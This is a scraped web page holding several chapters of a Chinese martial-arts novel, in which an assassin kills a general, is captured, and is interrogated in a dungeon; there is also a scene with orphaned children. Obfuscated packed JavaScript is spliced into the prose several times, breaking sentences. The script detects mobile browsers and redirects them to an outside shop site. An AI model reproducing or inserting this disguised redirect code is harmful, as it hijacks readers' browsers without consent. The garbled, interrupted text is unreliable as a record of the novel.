0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897297|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “将军,属下还有一事相禀,”站在一旁的侍卫接收到了院门旁侍卫的手势,难得出言打断了谭旭的思路,“别院外站着个属下从未见过的男人。” “嗯?” 谭旭闻言怔愣了一瞬,实在是想不出来,如今这紧要关头到底是哪个不怕死的还敢来找他。 “属下们问过他是谁,他没答话,只说,倘若您不愿意开门,他就只好亲自动手了。” ……简直是牛头不对马嘴。 谭旭眉头一皱,摆了摆手,示意侍卫赶紧派人将这位不知名的抽风病人轰走,随后便听到别院门口传来了一阵刀剑相向的打斗声。 温言抬头望向了蹲在院墙上警戒的侍卫。 一,二,三……八个人。 想来这些便是负责守着院门的全部人手了。 难怪谭旭会那么的胸有成竹,按照这个数量推算,保护着这整个别院的侍卫人手加在一起,指不定还真不比巡检司派来的一队人马要少。 可惜,这么点人手,用来对付他的话,就只有被逐一击破的命了。 院墙上的侍卫们得了命令,瞬间便几乎是同时一跃而下,首当其冲的那位手中刀光一闪,直冲温言的脖颈而去! 温言仰头后撤半步,刚避过对方,另一柄刀尖又是堪堪擦着他的脸颊划过,留下了一道红痕。 他反手抽出腰间匕首,刀背抵向其中一人挥来的长剑,短兵相接,发出了一阵令人牙酸的利刃摩擦音。 对方到底是占着人数优势,逼着温言一连向后退了两三步,却没能从他脸上看到任何一丝左支右拙的狼狈和慌乱,反而引得他手下动作越打越快,竟然隐隐有了反扑之势。 短短几个回合,温言便已经摸清了对方每个人的门道。 于是战况瞬息间便迎来了逆转。 温言仿佛身后长眼般侧身避过了袭来的长剑,同时朝着斜前方迈出一步,借力将匕首刺入了面前一人的小腹,在其中狠狠搅动了两下,才带着满手的鲜血拔了出来。 在这种范围小、人数少的争斗中,无论是谁殒命,都容易让另外的人因分神而产生一瞬间的行动迟缓。 但温言根本没打算放过对方任何一个人愣神的时间。 …… 嘭—— 温言身着一袭黑衣,束起的头发还在随风飘动着,院门被他用力一脚踹开,而他的脚边则七零八落地倒着几位谭旭精挑细选出来用于守门的精英侍卫。 “混账东西!” 谭旭虽不知晓对方到底属于哪方阵营,也从未听说过皇城内有如此出手迅猛、武力高强的年轻人,但对方下杀手下得如此果断,自然不是什么好信号,也就不妨他骂上两句:“你是谁派来的,没长眼的东西,知不知道这里是谁的地盘?!” 温言面无表情地站在敞开的院门处,与暴怒的谭旭遥遥相望。 如今真见着面了,他也没觉得自己和眼前这男人有半分相像之处。 真是难以想象。 “是谁的地盘,很重要么?”温言反问着,手中仍在滴血的刀尖直指谭旭,“笑纳了。” 40.重犯 柏清河确实如温言所预料的那般,被啃着包子赶回来的望尘听到动静,破门而入给救出来了,如今正转着手臂,面色阴沉地往外走去。 望尘低头看着散落在地的麻绳,视线止不住地往自家少爷身上瞟,嘴巴张开又合上,欲言又止了好几次。 “有什么想说的都给我咽回去,闭嘴。” 柏清河心头窝火,可合该与之理论一番的人又不知道跑哪里去了,他只能暂且忍气吞声地将这口恶气憋在心里,语气不善。 望尘立马非常识趣地闭了嘴,就连走路身形都悄咪咪地正了三分,生怕在这当口一不小心触着霉头,目不斜视地将人带到了前院。 “头儿!你看,人来了。” 巡检司为了不落人口舌,行事举止向来遵守规矩,柏家此次为协同办案,他们自然不能摆出一副好像要搜查人家府邸的做派,因此一队人马全都静立在了府外,只有两个男人站在前院内。 其中一位相较之下身形略矮,背后背着柄细窄的长剑,朝着柏清河走来的方向窜去,刚有动作,就被另一位眼疾手快地拽着衣领子拉了回去。 “符乐,不许胡闹。” 气质更为稳重的那位有些无奈地呵斥了一声,将人拉到了背后,这才施施然朝着走到近前的柏清河一拱手:“在下巡检使韩旬,柏二少爷,久仰大名。” “不敢当。”柏清河也是一拱手,不动声色地上下打量了一番面前这位巡检使。 若不是对方率先点明了身份,他几乎都要以为面前站着的是位彬彬有礼的文官。 “还有我,我叫李符乐,职位应当算是……副使?”待在后面也不消停的男人再一次蹦蹦跳跳地窜到了柏清河面前,回头看向韩旬,“我没记错吧头儿?” “没错,”韩旬一点头,神色淡淡,“但是跟人打招呼要讲规矩,站直了,要行拱手礼……” 李符乐不情不愿地将身体重心从左腿挪到了中间,略带敷衍地行了个礼,才大功告成一般撅着嘴扭头站远了。 柏清河:“……” 这般出人意料的孩童做派,真是很难想象此人是巡检司里的人。 ……竟然还是巡检副使。 柏家尚且只有柏平昀一人是朝堂中人,但由于他本人常年在外征战,聚少离多,一回来就乐得往柏夫人的院子里头钻,只有极少数时间才会想起来要提点他这两个儿子一些朝堂要事。 因此柏清河只知道这位韩旬比他哥还要年长几分,在前年帮朝廷解决了一桩著名的贪官要案后,老皇帝龙心大悦,破例允了他一个自行提拔手下人的机会——这才有了巡检副使这一官职。 据说当时在朝上,所有想要走后门行个方便的老狐狸们心思刚打了个转,还没来得及有任何动作,巡检副使这一职位便“名花有主”了。 原来就是给了面前这个人。 ……原谅他暂时还看不出来对方有什么过人之处。 柏清河收回目光。 还有要事在前,便由韩旬带头跳过了寒暄,领着人往门外走去。 李符乐这才从后方三两步跟上,以落后韩旬半步的速度大步走了出去。 柏清河远远走在后面,将这个动作收入眼底。 他们此行去往谭旭住所之事虽不算秘密行动,却也还是不免担心打草惊蛇和惊扰民众,幸好所去目的地不远,便直接放弃了在城内跑马,选择徒步前往。 “柏二少爷,这应当是你头一回出门办案吧,”李符乐生性跳脱,双臂抱胸,走起路来脑后的头发跟着左摇右晃,朝着走在另一边的柏清河说道,“放心,别紧张,办案很有意思的。” 这人看着年纪比他还小,倒是装出了个小大人样。 到底是哪里看出来他紧张了? 柏清河碍于面子不好反驳,只道:“巡检副使说的是。” 李符乐却皱起了眉,用看妖怪似的眼神上下打量了柏清河好几眼,最终还是没能忍住,踮着脚凑到了韩旬身边:“头儿,头儿你快给看看……这柏二少爷什么时候是这副性情了,怎么和我们调查出来的完全不一样啊?” “符乐,不许无理。”韩旬有些头疼,抬手敲了对方一个脑瓜崩,“……人家还听着呢。” 柏清河:“……” 是啊,可别当他不存在啊。 “可之前传回来的情报明明都说他是个话多、纵/欲、不学无术甚至还目无尊长的混球啊……”李符乐捂着额头,像是有些不服气,嘴上仍然锲而不舍地反驳道,“头儿你曾经明明还说过要我千万别学他这样,长歪了!” 柏清河:“……” 看来你们巡检司里每天传的八卦逸闻一点都不比这街头巷尾的婆婆妈妈们少啊。 到底是谁在说巡检司守规矩?装的吧。 这下韩旬哪怕脸皮再厚,面子上也实在是挂不住了,更何况人家好像还真是个翩翩君子,只能有些歉意地按着李符乐的脑袋让人道歉:“是在下对属下管教无方,还请柏二少爷听过便罢了,千万别往心里去……此案过后,在下自会登门谢罪。” 李符乐被按得脑袋一低,挣扎了两下,不吭气了。 “不,不必,”柏清河自身倒是“虱子多了不怕痒”,习惯了恶名缠身,不怎么介怀地一摆手,“巡检使要真登门谢罪,倒显得我这人过于斤斤计较了。” “柏二少爷实乃心胸宽广之辈。” 韩旬说起这种夸人的话倒是脸不红心不跳、张嘴就来。 柏清河有些尴尬地笑笑,和好不容易重新抬起头来的李符乐对上了视线,瞧见对方悄悄冲他做了个鬼脸。 “大人,再往前走便是谭将军的别院了。”走在最前方的人小跑着来到队伍后方,拱手道。 “好,”说到正事,韩旬脸上那硬扯出来的笑容瞬间淡了,有条不紊地指挥道,“老规矩,正面留给我,兵分三路,将院子围起来。” “是!” 众人领了命,正要分散开来,柏清河却鼻尖一动,先其余人一步闻到了飘散在空气中的血腥味。 遭了! 柏清河当机立断,甩开了巡检司众人往别院大门跑去。 李符乐此时显然也紧跟着闻到了气味,面色一紧,和心有预感的韩旬对了下视线,才紧随其后。 别院大门迎风敞开,轻轻晃动着,旁边横七竖八地倒着些死状各异的尸体;若非是听见了内里还未停息的打斗声,冲着这血流成河的场景,柏清河几乎要以为这地方已然被屠杀成了无人之地。 尽管如此,他也几乎是瞬间便汗毛倒竖了起来。 眼下局势十分明了:是有人得了消息,抢在他们之前动了手! 刹那间,柏清河只顾得上往内院冲去,哪里还有半分记得自己只是个跟随办案的“观礼人员”。 而冲过内院,眼前朦胧的场景便瞬间清晰了起来。 柏清河仅靠一个背影,便瞬间认出了跪压在地上的人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924613|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁,顿时心如擂鼓。 ——可这时候说什么都晚了。 倒在地上的人显然已经没了半分生气,双目圆瞪,仰躺在血泊中,胸口上明晃晃地插着柄匕首,上面的花纹在阳光下显得熠熠生辉。 眼前人弯腰拔出了匕首,有些爱惜地用衣袖抹擦着上面的血迹,这才转过了身来。 四目相对,柏清河想要呼出的一口气登时卡在了半道上,卡得他胸肺剧颤,有些不适地弓着身子,猛烈咳嗽了起来。 “果然还是个花拳绣腿。” 紧跟而来的李符乐从旁边闪过,声音不屑,大概是还记着刚才被按头道歉的仇;脚下步伐却是不停,反手从背后的剑鞘中抽出了长剑,直冲温言而去。 不。 等等…… 柏清河正要出声,却感到有人在他的背后拍了一把。 “包围圈。” 韩旬沉着脸下了命令,训练有素的巡检司众人瞬间一拥而上,纷纷抽出了手中的武器,围了个大小适中的圆圈,将打斗中的二人包裹在其中。 “柏二少爷,你没事吧?”韩旬这才有空关心柏清河的状态,目光却仍牢牢跟随着包围圈,“对方实力不俗,符乐一人怕是难以与之匹敌,只怕还得柏二少爷出手相助。” 柏清河声音晦涩:“……二打一?” “此人杀了朝廷要犯,是重罪,哪怕是拼上性命,巡检司也必须将其捉拿归案,”韩旬目光如炬,“倘若能活着拿下,自然最好;倘若不能,也得死要见尸。” 话说到这个份上,就再没有转圜的余地了。 柏清河抹了把脸,像是下定了某种决心般,抽出腰间的短刀的同时,悍然冲进了包围圈内。 “你走开!”李符乐余光瞥见这一幕,瞬间皱起了眉,“我能应付!” 眼前的敌人似乎是轻笑出了声。 柏清河听到这声轻笑,更是火冒三丈,恶狠狠地说道:“你能应付个屁!” 话虽如此,可李符乐能在温言手下撑过这么多个回合还只是略落下风,已然得见对方的身手甚是了得——尤其是算上了他的年龄,应当也是个天赋异禀之辈。 柏清河这才明白对方为什么看起来脑子缺根筋儿也能坐上巡检副使的位置了。 可更让他困扰的,是他此番陷入的两难之境。 温言,到底为什么每次都是这样? 命运弄人。 柏清河心下思绪翻涌,面上还得撑着,意意思思地朝温言故意露出的破绽打了几招,难得涌出了一股无力感。 温言却突然冲他小幅度地摇了摇头,同时伸手悍然用力翻过他的手腕,逼迫他手中锋利的刀尖直指自己胸口! 柏清河动作一抖,几乎是下意识便选择用同样的力道抵抗起来,像是生怕手中这利器蹭破了对方的一丝皮肉般,用力试图抽回手。 温言顺势借着这股力道,被甩出去的瞬间,嘴角却若有若无地勾起了一抹笑意。 不对! 柏清河这才意识到了些什么,却又一次晚了一步。 一柄长剑从身后袭来,凶狠而又迅猛地贯穿了温言的肩膀! 温热的血液溅落在柏清河脸上,将他近乎扭曲的表情映照得更为可怖。 温言手上脱力,任由匕首滑落在地,发出了当啷一声轻响。 李符乐的声音再一次传来,却从未如此铿锵有力过。 “重犯已捉拿,即刻押入地牢!” 41.局外 邻近皇城的一片城郊处,有几座由木头搭建而成的小茅草屋,错落有致地摆在一起——所占据的一亩三分地倒是不小,只不过屋顶和被围栏圈入的院内都覆盖着成片的杂草,显得足实其貌不扬。 院中隐约传来了几个小孩打闹的声音。 “……二十九,三十!”一个小男孩站在院子中央,蒙着眼睛大声喊道,“你们都藏好了吗?” 倒计时结束,院中瞬间变得静悄悄的,无人应声。 方才传出来的嬉笑怒骂声仿佛只是过路人的错觉。 于是小男孩又扬声道:“那我就要开始找你们咯!” 他话音一落,四下张望了两圈,没能从摇晃的杂草丛里找到一丝人影,便干脆地调转了方向,朝着茅草屋走去。 一进屋内,他就像是早有目标般,径直将面前的衣柜唰地拉开,露出了藏在里面的两道人影。 “我就知道每次藏在这里都会是最先被找到的!”衣柜里的小女孩率先跳了出来,忿忿不平地一跺脚。 “没办法,人太多了没地方藏,”另一个小男孩面色平静地跟着从衣柜里走了出来,“小澄,等下一局吧。” “哼。”名叫小澄的女孩双手抱胸,扭过了头。 ……因此并没能看到另外两个男孩在她身后悄悄比了个手势。 抓人的男孩从手势中得了提示,挤眉弄眼着指了下床底,与对方交换了个眼神;随后他便兴冲冲地趴下身去,眼疾手快地抓住了藏在床底的人的衣角。 “小菁,找到你了!” “……这不公平!我可看到你们的小动作了,阿澈你这是作弊!”被抓出来的女孩——小菁,还没站稳,就先张牙舞爪地给了这个名叫阿澈的男孩一拳,将人打翻在地后,才解气地皱着小脸凑到了小澄身边,末了又跟了一句,“你不要脸!” 小澄有些嫌弃地拍了拍对方在床底扑腾时衣服上沾着的灰尘。 “诶,这可不算作弊,”阿澈坐在地上,揉了揉胸口,据理力争地狡辩道,“阿良早早被抓了,算是出了局的场外人,那我向场外人寻求规则未明确规定不允许的帮助,分明是一种合理的解决方法。” “哦……我知道了,小菁,你就是嫉妒我聪明!” “呸,”小菁恶狠狠地朝他翻了个白眼,大有还要再抡一拳的架势,“谁嫉妒你了,你就是不要脸!” 与此同时,锦桢踏入院内,远远瞧见的便是这副场景。 “所以我都说了,适时拉动场外人士入局,也是一种解决方式……”阿澈一边躲避着小菁的拳头,一边嘴上不依不饶,直到闻声望向院内,说出口的话才转了个调,“……锦桢哥哥!救我!” 可惜,锦桢对此情形早已变得视若无睹,面上带笑,毫无相帮之意,任由那小丫头片子的铁拳抡了下去。 这一嗓子哀嚎直接宣告了捉迷藏游戏的结束。 只见杂草丛中瞬间涌出了数十个小脑袋,纷纷探头探脑地往外瞧,像是生怕阿澈这个“诡计多端”的小兔崽子又骗他们一道。 直到眼力好的几个真见着了锦桢如假包换的人影,才一窝蜂地从草丛里跑了出来。 ……就连邻座的茅草屋里也跑出了两三只“漏网之鱼”。 “声势浩大啊……”锦桢张开手接住了最先朝他扑来的几个孩子,又抱着姗姗来迟的阿澈转了一圈,这才消停着坐在了一旁的矮石墩上,切入正题,“林芷今天没来看你们?” “林芷姐姐买东西去了,马上就回。”阿澈抢先答道,“锦桢哥哥你是专门来找她的吗?” 锦桢的目光扫过这些小家伙们期盼的表情,伸手刮了下阿澈的鼻子:“小小年纪,心思别太重。” 阿澈却不依不饶地问道:“那你是来看我们的吗?” “是啊,小祖宗们,”锦桢无奈地笑笑,“我可不就是专门来看你们的。” 阿澈得逞似的挑了挑眉。 其余的小家伙们被他三言两语间哄得团团转,一个个都乐得找不着北了。 左右无事,锦桢被围在中间缠得没法,只好陪着这些小家伙们重新再玩一局捉迷藏。 这回阿澈总算是赢了猜拳,不再是抓人的那个,而是兜兜转转后又重新跑了回来,蹲在了锦桢脚边的杂草丛中。 锦桢低下头看他。 “嘘,锦桢哥哥你等下可千万别看我,”阿澈煞有其事地比了个手势,“灯下黑呢。” 锦桢瞧着对方那股认真样,有些啼笑皆非地转过了头。 可这群孩子还真如对方所料,单纯得很,直到游戏进行到一半,都始终没人来翻过锦桢待着的这片地。 ……这小子当真是有点聪明。 “远看我还以为是哪个招摇撞骗的来我这儿小破地了呢,原来是你啊。”林芷悄无声息地从另一边冒了出来,将两大袋东西塞进了锦桢怀里,“那就别闲坐着了,来搭把手。” “哟,来活儿了。”锦桢说着,临走之际,状似无意地用脚扒开了旁边的杂草丛,朝着不远处的小孩吹了声口哨,“来来,这儿有一个!” 被此人平白背叛的阿澈站起身,朝着他大叫道:“锦桢哥哥你怎么能这样!” 锦桢贼兮兮地应了:“拉动场外人士入局的同时,也得随时防着被反咬一口啊,小阿澈。” 林芷在旁踢了他一脚,转身就走:“你少欺负小孩。” “我……”锦桢抱着东西就要起身跟上,第一下却差点没能站起来,“……靠,这么死沉的东西,你是怎么从城内扛过来的。” “多抗几次就习惯了,”林芷手上也提溜着两大袋,看着却比他轻松很多,脚步不停地进了茅草屋,“不然这么多口人怎么养活啊,小少爷。” “屁的小少爷,”锦桢在林芷的指点下将东西一一放好,“都八百年前的称呼了,还叫着呢。” “而且我早就跟你说过了,你收养这帮孩子难免忙进忙出,要是有什么顾不过来的地方,随时都能喊我们来帮忙……” “我也早就跟你说过了,唯独这件事不行,”林芷的语气稀松平常——仿佛这种对话在他们之间早已发生过成百上千遍,神色却没有在那帮孩子们面前表现得那般轻松,“而且我也说过,没有急事,不要来这里找我。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976342|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是是,知道你把这群孩子的命看得很重要,”锦桢抬手在身上摸了两把,刚摸着烟枪柄,却立马被林芷一个眼神给禁止了,只能讪讪收回手,“我们多靠近一分就会给他们多带来一分危险……好了,我知道不能在他们面前抽烟,这些话你都要在我耳边念出茧子了。” 林芷摆出了一副“你知道就好”的表情。 “但我这回是真有急事,”锦桢叹了口气,“你还记得阁主前两天大发雷霆的事吗?” 林芷眉头一皱。 她怎么可能不记得。 她比所有人待在组织里的时间都长,更是亲眼见证了温言、锦桢等人是如何一步步踩着无数血肉与尸骨走到如今的位置上。 若说锦桢此人还颇有些放浪形骸的毛病,温言却与其完全相反,自从担上了“影子”的位置后,便从未出过哪怕一丝差错,甚至从不对这些任务产生丝毫质疑,简直堪称言听计从。 因此这么多年以来,那还是阁主头一回对着温言发脾气,应当是真气得不轻,随后又将没撒完的火“喷洒”在了组织内部各处,将他们统统大动干戈地折腾了一遍才好歹算完。 “我和锦哲虽无权插手温言的任务,却也从未跟他断过联络,”锦桢脸色不太好看,接着说道,“如今整整两天,我散布在皇城内各处的‘手脚’都没有收到一丝他的消息,只能说明他已经按照计划被关入了地牢。” “嗯,一切都在按计划进行,”林芷将几捆菜苗放到了盆中,正动手将不太新鲜的枝叶折出来,“这不是好事?” 锦桢道:“……可倘若他在此之前并没有找你拿过解药,昨日他就该毒发了。” “……” 林芷放下了手中的菜苗,仰头看着站在自己面前的锦桢,开口道出了最坏的情况:“是,他没来找过我。” “那解药呢?”锦桢皱着眉头,喃喃自语般说道,“阁主不可能就这么让他死的,对,我得找个机会将解药送进去……” “去哪儿,地牢吗?”林芷摇了摇头,“不可能的,你们的人至今唯一没能渗透的地方就是地牢,锦桢,关心则乱易出纰漏,你先别急。” 可锦桢怎么可能不急。 他幼时因受尽虐待从家中出逃,随后进入组织,走钢丝般一步步活到如今岁数,抛开锦哲不谈,身边也就只剩下这么两位能够把酒言欢、知无不尽的至交好友了——让他眼睁睁地看着其中一人落入如此田地却无能为力,这滋味他怕是再无福消受第二次。 “毒发并不代表立马身亡,中毒者会先有一定程度的五感衰退,最终才会七窍流血而死,”林芷冷静地打断了锦桢尚未出口的话,“这期间时长因人而异,既然是惩罚,阁主哪怕再手下留情,这几日也断不会让温言好过,但正如你所说,只要人没死……” “我就能救。” “你现在要做的,就是按兵不动,做好你自己该做的事。”林芷站起身,抬起食指点了两下锦桢起伏的胸口,嘴角扯出了一抹笑,“很多事情,现在还不是时候……” “……但只要我活着,哪怕你们被逼入绝境,也还剩最后一张救命的底牌。” 42.地牢 柏清河步履匆匆,巡检司内众人已然记住了他的面孔,任由他在里面走得左突右绕,倒是没碰壁被拦下,顺利地一把推开了档案室大门:“如何?” 韩旬从桌后站起身,冲他摇了摇头:“一无所获。” 整整两日,几乎花光了巡检司内所有人手,昼夜不息,就窝在这档案室内翻找历来卷宗档案,可除却姓名年岁外,他们始终未能再从中翻出更多关于温言的只言片语、蛛丝马迹。 ……倒是将谭旭的风流史给翻了个底朝天,堪称事无巨细。 这个结果倒是在柏清河的意料之中。 巡检司的一贯作风是先将犯人押入地牢,同时指派人手从卷宗档案中翻找出其生平过往的种种“事迹”,再从中推敲出犯人心理防线最薄弱的环节,寻出动机或缘由,再抓着这些“把柄”进入地牢和犯人进行面对面审问——若是还有拒不认罪的,再上个几套拷问刑罚,多硬的嘴都该被成功撬开了。 这套方法向来是无往不利。 直到他们遇上了这个重犯。 “所以……人呢?”柏清河故作轻松地问道,“还关在地牢里呢?” “嗯,不过情况不太好,我们虽及时替他处理了伤处,他却还是昏迷了过去,至今未醒,”韩旬这种时候倒意外是个心眼实的,竟然真的皱着眉头,将情况一五一十地告诉了柏清河,“他的情况有些复杂,因此我从一开始就紧急加派了人手,争分夺秒,却还是……” “唔……这倒是难办了,”柏清河背在身后的双手微微绞紧,面上却分毫不显,反而支招道,“既然老方法行不通,韩巡检使为何不趁机另辟蹊径,正巧此人刺杀谭旭这件事也算在众目睽睽之下,罪责无法洗脱,不如就以此为突破口?” 韩旬沉吟片刻,此事也算事关国之重臣,皇上他老人家催得紧,左右眼下也无别的法子,还真是只能就此一试。 只是按常理讲,柏清河不属于巡检司内部人员,不应当参与审问;可先前捉拿此要犯时,柏清河在他的要求下二话不说便出手相助,博了他的好感,如今这方法也是对方提出的,再加上柏平昀的三分薄面……以上种种,倒是勉强能让他说服自己,给这位年轻小辈开个先河。 “好,”韩旬在心里下了决定,便点头示意柏清河跟上自己,“走吧,我们去地牢看看。” …… 地牢内点着成排的油灯,灯火忽明忽暗地闪着明黄色的光,将两位靠墙站在最内侧的看守的身影照得影影绰绰。 靠近铁栏门的看守指了指里面那个倒在茅草堆上的人影,朝着身旁人小声问道:“诶,你说这人还活着吗?” 闲来无事,另一位看守无聊得就差去数墙砖了,闻言立马转头去看了两眼。 “……害,肯定还活着,你看他胸口,还在动呢。” “靠,这不仔细看根本看不出来,你小子眼力可以啊……” 起了话头的那位看守不死心地眯着眼睛往内细瞧,牢房内本就灯火暗淡,他这一探头,又将最后那点透过细缝的碎光给挡了个十成十,更是看不着了,“话说老大已经让我们在这里守了整整两日了,也没给安排个换班的,你说……其余弟兄们都干嘛去了?” “据说都被派去翻卷宗档案了,我昨个吃饭的时候还听阿泉那家伙念叨呢,说他们手都要翻出火星子了。” “真假……这可真是头一回,还没翻出来呢?” 看守耸了耸肩:“可不么,我听说,听说啊……好像是一无所获呢。” “这么神……” “聊什么呢?” 韩旬沉着脸跨过门槛,目光扫过眼前站着的看守,两人瞬间如同被定了身形的鹌鹑,大气都不敢喘一下。 柏清河跟在后面暗自感慨,若是他手里的那帮人也能这般听话…… 韩旬没打算过多追究,摆摆手便罢了:“人怎么样了?” “还是像两天前一样,没醒过。”其中一位看守毕恭毕敬地答了。 “嗯,”韩旬点点头,“你们先下去吧。” “是。” 柏清河抽空环视了一圈地牢,脚下看不清颜色的石砖地和墙壁的缝隙间透着阵阵凉意,才刚走进来几分钟,狭窄潮湿的过道已经足以让人生出股如芒在背的不适感。 原来这就是皇城里坚如磐石的地牢。 关押温言的牢房在最内侧,一栏之隔,外面靠墙摆着盘毫无挪动迹象的干硬馒头和一小碟水;里面的角落铺着层薄薄的茅草,重犯本人就这么双手被反绑着,生死不知地倒在上面,脑后长发散落,几乎遮住了他整张面容。 若不是能确定对方还活着,柏清河下一秒就要冲到铁栏门那冲内大喊;可饶是如此,他脸上的神情也差点克制不住,好不容易才有些僵硬地朝着望来的韩旬露出了一个微笑。 “头儿!他们说你过来了,怎么不喊我一起?”李符乐嗓门独特的声音远远传来,他拐了个弯走到近前,才顿了下,朝着柏清河不咸不淡地打了声招呼,“……哦,你也来了。” “符乐,你来得正好,”韩旬亲手松了锁,将牢门敞开,遥遥指了下远处的水缸,“去,把人弄醒。” 李符乐兴致勃勃地领了命:“好的头儿。” 话音未落,他便熟练地挽起了衣袖,大开大合地从水缸里舀出了一盆水,端着走向牢房门口。 柏清河情急之下脱口而出:“等……” 哗啦—— 李符乐甩了甩倒得滴水不剩的盆,转头一脸无辜地问道:“你说什么?” 柏清河:“……” “咳咳咳……” 好在这一盆水下去还真颇有奇效,泼得这位半死不活的牢内重犯剧烈咳嗽了起来,打破了这四下沉默的僵局。 温言喘息着半睁开眼,脸上蜿蜒而下的水流持续模糊着他的视线,他不堪其扰,强撑着半仰起头,微微甩了甩脑袋。 这是……哪儿…… 温言尝试着摆动了下手臂,这才发现自己双手被反绑在了背后,他头痛欲裂,反倒思绪飘飞了起来,竟是想起了几日前他趁着柏清河在极度放松的睡梦中将其反绑的场景,姿势倒是和眼下如出一辙。 ……真是有种荒诞的好笑。 他费力转头,眨了眨眼,才总算是看清了拦在眼前的铁栏和站在外面的三道人影。 哦……是地牢…… “醒了?”韩旬踱着四方步迈进牢房,在距离温言不过两步之遥时停了下来,低下头,盯着眼前人被水淋得湿透的脸庞,“温言,是吧?你可真是给我们找了好大的麻烦。” 温言动了动僵硬的四肢,有些狼狈地翻着身,湿发凌乱地糊在脸上,面色泛着不正常的潮/红。 他的目光透过发丝间的缝隙看向居高临下的韩旬,从鼻腔内发出了一声轻笑。 “啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003612|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是么……”他的嗓子里像是含着把淬了火的刀片,片刻不停地灼烧着他的痛觉,“认罪够快就不用上刑了吧,巡检使……谭旭是我杀的,我认罪……” 早前预想好的台词被抢白,韩旬即将脱口而出的话又硬生生给憋了回去,脸色并不好看。 “谭旭被你所杀,这是在场人皆有目共睹之事,认罪伏诛无可辩驳,”韩旬话音一转,“可谭旭其人在边关要事上本就疑与恰达勒有所勾结,你又如此急于下手,难免使得朝廷更增多疑之心,到底是确有其事还是栽赃陷害……阁下还真是居心叵测啊……” 温言本就头脑发麻钝痛,思绪比平常慢个半拍,信息量一大,他差点没能跟上对方的所言之意。 谭旭疑与恰达勒有所勾结?什么时候的事? 简直闻所未闻……这可是通敌叛国罪。 可他到底还是心念电转,立马反应过来——自己这应当是“阴差阳错”被卖了一遭。 “这个……”温言强忍着浑身皮肤被火烧似的滚烫,心念电转,面上却分毫不显,目光扫过被李符乐拦在外面的柏清河,视线猝然相撞,“韩巡检使所问……事关重大,不如先让闲杂人等避退三分?” 柏清河藏在衣袖之下的手瞬间紧攥成拳,指甲深深陷入了皮肉,靠着这么点钻心的痛觉,才堪堪维持住了面无波澜的神态。 “不可。” 李符乐率先出声反对,神色警惕地看向温言,旁人不知,他却清楚,以他们家头儿的武力值,那是再加十个都不够眼前这人瞬息间下手杀的,若是对方突然发难…… 韩旬抬手制止:“符乐。” “眼下……我手脚皆被捆,要想反抗也算难如登天……但巡检使可得考虑好了,”温言面色平静地望向对方,半分不怵,“我这人松口一次不容易……过了这村可就没这店了……” 眼前人说得在理。 韩旬能稳坐巡检使之位,自然不是傻的,从逮住眼前少年人的第一眼,他便察觉到对方大概率是某个组织花重金培养出的顶尖刺客——若是他们巡检司当真抢先出手,哪怕是一整队人马也不一定能越过这波侍卫,将谭旭当场拿下,可对方却单枪匹马将谭旭院内那三十多个精英侍卫全部抹杀在了当场……其实力可见一斑。 而这种人,是最不容易反咬其主的类型……这也正是韩旬心下犹疑的关键所在。 此人松口未免松得也太快了。 可也正如对方所说,过了这村没这店,此人如今手脚皆被缚,甚至因伤势严重而发着高烧,烧得整个人皮肤泛红,正是他可以趁着对方头脑昏沉,攻克心防的大好时机。 “好,”韩旬略一沉吟,“符乐,带柏二少爷出去等我。” “……是。” 李符乐咬了咬牙,不情不愿地领了命,连拉带拽地将身旁这位像是被施了定身咒的柏二少爷拖了出去。 韩旬听着两人的脚步声远离了拐角,已然退到了地牢外沿,才开口道:“现在你可以说了。” “……巡检使,说来你可能不信,我杀谭旭仅为私仇,什么通敌叛国的罪名,我当真是一概不知……” 温言话一说长,又开始剧烈地咳嗽了起来,他忍了又忍,最终还是没能忍住,朝外吐出了一口鲜血。 ……实在是此番模样过于狼狈,不想让有心之人再多瞧见。 “如此大费周章的欺骗,还请巡检使莫怪……” 43.落子 “柏二少爷……” “柏二少爷……” “柏清河!” 两人走过地牢拐角,李符乐的声音由远及近地传来,见柏清河半晌不应声,他那装出来的最后一丝礼仪跟着耐心一道消失殆尽,反手就要冲着对方的肩膀来上一拳,企图用暴力手段唤回面前这位少爷的神˙智。 这时候的柏清河倒是下意识地闻风而动,侧身躲过了这一拳后,总算是无声地收回了放空的目光,望向对方。 